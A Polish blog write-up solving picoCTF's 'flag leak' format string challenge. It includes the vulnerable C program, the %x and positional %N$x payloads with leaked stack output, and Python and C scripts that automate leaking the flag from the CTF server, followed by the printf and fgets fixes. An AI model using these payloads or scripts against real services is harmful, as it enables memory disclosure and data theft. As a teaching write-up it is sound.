Tym razem chciałbym opisać rozwiązanie zadania flag leak z działu Binary exploration picoCTF.
Do zadania dołączono plik binarny oraz kod w języku C:
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <sys/types.h>
- #include <wchar.h>
- #include <locale.h>
- #define BUFSIZE 64
- #define FLAGSIZE 64
- void readflag(char* buf, size_t len) {
- FILE *f = fopen("flag.txt","r");
- if (f == NULL) {
- printf("%s %s", "Please create 'flag.txt' in this directory with your",
- "own debugging flag.\n");
- exit(0);
- }
- fgets(buf,len,f); // size bound read
- }
- void vuln(){
- char flag[BUFSIZE];
- char story[128];
- readflag(flag, FLAGSIZE);
- printf("Tell me a story and then I'll tell you one >> ");
- scanf("%127s", story);
- printf("Here's a story - \n");
- printf(story);
- printf("\n");
- }
- int main(int argc, char **argv){
- setvbuf(stdout, NULL, _IONBF, 0);
- // Set the gid to the effective gid
- // this prevents /bin/sh from dropping the privileges
- gid_t gid = getegid();
- setresgid(gid, gid, gid);
- vuln();
- return 0;
- }
W programie powyżej wykorzystano podatność Format String Vulnerability. Funkja printf w vuln() wykorzystuje ciąg story jak argument formatujący. Pozwala to na wprowadzenie do programu odpowiadnio rzygotowanych ciągów, które umożliwią odczyt czy nawet zapis danych do pamięci. Dodatkowo funkcja scanf, chociaż wywołana z argumentem %127s, który ogranicza odczytanie danych do 127 znaków będzie stanowiła problem. Chodzi tutaj o format %s, któy mimo ograniczenia znaków będzie czytał dane aż do znalezienia białego znaku.
- picoctf@webshell:~$ nc saturn.picoctf.net <port>
- Tell me a story and then I'll tell you one >> test wiadomosc
- Here's a story -
- test
- picoctf@webshell:~$ nc saturn.picoctf.net <port>
- Tell me a story and then I'll tell you one >> sprawdzamdzialanie
- Here's a story -
- sprawdzamdzialanie
Jak widać powyżej wyświetlana jest przesłana wiadomość.
- picoctf@webshell:~$ nc saturn.picoctf.net <port>
- Tell me a story and then I'll tell you one >> %x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,
- Here's a story -
- ffab0650,ffab0670,8049346,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,f0002c78,
Po próbach i błędach dochodzę do:
- picoctf@webshell:~$ nc saturn.picoctf.net <port>
- Tell me a story and then I'll tell you one >> %28$x,%29$x,%30$x,%31$x,%32$x,%33$x,%34$x,%35$x,%36$x,%37$x,%38$x,%39$x
- Here's a story -
- 1,0,ef0f8410,1,ef12c000,8048338,ef0f0d20,eef75ab0,6f636970,7b465443,6b34334c,5f676e31
Jak widać dane powyżej są dostępne tylko odwrócone (6F 63 69 70 7B 46 54 43). Natomiast w wyświetlonych danych nie ma wartości 0x7D (znak '}'). Czyli należy odczytywać kolejne porcje danych.
- picoctf@webshell:~$ nc saturn.picoctf.net <port>
- Tell me a story and then I'll tell you one >> %36$x,%37$x,%38$x,%39$x,%40$x,%41$x,%42$x,%43$x,%44$x,%45$x,%46$x,%47$x,%48$x,%49$x,%50$x,%51$x
- Here's a story -
- 6f636970,7b465443,6b34334c,5f676e31,67346c46,6666305f,3474535f,395f6b63,30366635,7d373136,fbad2000,1c477a00,0,f0129990,804c000,8049410
Można to też odczytać np. takim poleceniem z konsoli:
- echo "%36\$x,%37\$x,%38\$x,%39\$x,%40\$x,%41\$x,%42\$x,%43\$x,%44\$x,%45\$x" | nc saturn.picoctf.net <port>
Dla powyższych danych wejściowych wyświetla się cała flaga. W celu wyświetlenia danych tylko dla flagi należy wprowadzić:
- %35$x,%36$x,%37$x,%38$x,%39$x,%40$x,%41$x,%42$x,%43$x,%44$x,%45$x
Cała flaga w hex:
- 6f6369707b4654436b34334c5f676e3167346c466666305f3474535f395f6b63303666357d373136
Po bezpośredniej konwersji na ASCII:
- ocip{FTCk43L_gn1g4lFff0_4tS_9_kc06f5}716
Dane powyżej są odwrócone. Można to odwrócić, przez przepisanie znaków ASCII, odwrócenie danych w HEX z Little Endian na Big Endian.
- 6f636970 - 7069636F
- 7b465443 - 4354467B
- 6b34334c - 4C33346B
- 5f676e31 - 316E675F
- 67346c46 - 466C3467
- 6666305f - 5F306666
- 3474535f - 5F537434
- 395f6b63 - 636B5F39
- 30366635 - 35663630
- 7d373136 - 3631377D
- 7069636F4354467B4C33346B316E675F466C34675F3066665F537434636B5F39356636303631377D
- picoCTF{<flaga>}
W celu ochrony przed wyżej opisanym atakiem należałoby zmodyfikować funkcje printf w vuln():
- z printf(story);
- na printf("%s", story);
Funckje scanf():
- z scanf("%127s", story);
- na fgets(story, sizeof(story), stdin);
Całe zadanie można także zautomatyzować, w pythonie mogło by to wyglądać np tak:
- import socket
- HOST = "saturn.picoctf.net"
- PORT = <port>
- # Format string exploit
- payload = "%36$x,%37$x,%38$x,%39$x,%40$x,%41$x,%42$x,%43$x,%44$x,%45$x\n"
- with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
- s.connect((HOST, PORT))
- response = s.recv(1024).decode()
- print("Receive:", repr(response))
- s.sendall(payload.encode())
- response = s.recv(1024).decode()
- print("Response:", repr(response))
- if "Here's a story - " in response:
- hex_part = response.split("Here's a story - ")[1].strip()
- print("Hex data:", hex_part)
- hex_values = hex_part.split(",")
- def little_to_big_endian(hex_str):
- try:
- return bytes.fromhex(hex_str)[::-1].decode("utf-8")
- except UnicodeDecodeError:
- return f"[{hex_str}]"
- decoded_text = "".join(little_to_big_endian(h) for h in hex_values)
- print("Decode data:", decoded_text)
- else:
- print("Wrong response")
Program powyżej wykonuje połączenie z serwerem, wysyła dane payload, pobiera otrzymane dane a następnie je przetwarza w kolejności opisywanej podczas przekazywania danych ręcznie.
Odpowiedz wyglada następująco:
- picoctf@webshell:~/flag_leak$ python flag_leak_test4.py
- Receive: "Tell me a story and then I'll tell you one >> "
- Response: "Here's a story - \n6f636970,7b465443,6b34334c,5f676e31,67346c46,6666305f,3474535f,395f6b63,30366635,7d373136\n"
- Hex data: 6f636970,7b465443,6b34334c,5f676e31,67346c46,6666305f,3474535f,395f6b63,30366635,7d373136
- Decode data: picoCTF{<tu_jest_flaga>}
Poniżej program w C realizujący to samo zadanie:
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <arpa/inet.h>
- #include <unistd.h>
- #include <netdb.h>
- // Dane serwera
- #define HOST "saturn.picoctf.net"
- #define PORT <port>
- #define BUFFER_SIZE 1024
- void little_to_big_endian(const char *hex_str, char *output) {
- unsigned int num;
- if (sscanf(hex_str, "%x", &num) != 1) {
- sprintf(output, "[%s]", hex_str);
- return;
- }
- unsigned char bytes[4];
- bytes[0] = (num >> 0) & 0xFF;
- bytes[1] = (num >> 8) & 0xFF;
- bytes[2] = (num >> 16) & 0xFF;
- bytes[3] = (num >> 24) & 0xFF;
- unsigned char reversed_bytes[4];
- reversed_bytes[0] = bytes[3];
- reversed_bytes[1] = bytes[2];
- reversed_bytes[2] = bytes[1];
- reversed_bytes[3] = bytes[0];
- for (int i = 3; i >= 0; i--) {
- if (reversed_bytes[i] >= 32 && reversed_bytes[i] <= 126) {
- strncat(output, (char *)&reversed_bytes[i], 1);
- } else {
- char tmp[8];
- sprintf(tmp, "[%02X]", (unsigned char)reversed_bytes[i]);
- strcat(output, tmp);
- }
- }
- }
- int main() {
- int sock;
- struct sockaddr_in server_addr;
- struct hostent *server;
- char buffer[BUFFER_SIZE] = {0};
- server = gethostbyname(HOST);
- if (server == NULL) {
- perror("Error - gethostbyname");
- return 1;
- }
- if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
- perror("Error - socket");
- return 1;
- }
- server_addr.sin_family = AF_INET;
- server_addr.sin_port = htons(PORT);
- memcpy(&server_addr.sin_addr.s_addr, server->h_addr, server->h_length);
- if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
- perror("Error - connect");
- return 1;
- }
- recv(sock, buffer, BUFFER_SIZE, 0);
- printf("Rec: %s\n", buffer);
- const char *payload = "%36$x,%37$x,%38$x,%39$x,%40$x,%41$x,%42$x,%43$x,%44$x,%45$x\n";
- send(sock, payload, strlen(payload), 0);
- memset(buffer, 0, BUFFER_SIZE);
- recv(sock, buffer, BUFFER_SIZE, 0);
- printf("Server response: %s\n", buffer);
- char *hex_part = strstr(buffer, "Here's a story - ");
- if (hex_part) {
- hex_part += strlen("Here's a story - ");
- printf("Hex Data: %s\n", hex_part);
- char *token = strtok(hex_part, ",");
- char decoded_text[BUFFER_SIZE] = {0};
- while (token) {
- char converted[16] = {0};
- little_to_big_endian(token, converted);
- strcat(decoded_text, converted);
- token = strtok(NULL, ",");
- }
- printf("Decrypt data ASCII: %s\n", decoded_text);
- } else {
- printf("Error - wrong resposne from server \n");
- }
- close(sock);
- return 0;
- }
Odpowiedź od serwera jest następująca:
- Rec: Tell me a story and then I'll tell you one >>
- Server response: Here's a story -
- 6f636970,7b465443,6b34334c,5f676e31,67346c46,6666305f,3474535f,395f6b63,30366635,7d373136
- Hex Data:
- 6f636970,7b465443,6b34334c,5f676e31,67346c46,6666305f,3474535f,395f6b63,30366635,7d373136
- Decrypt data ASCII: picoCTF{<tu_jest_flaga>}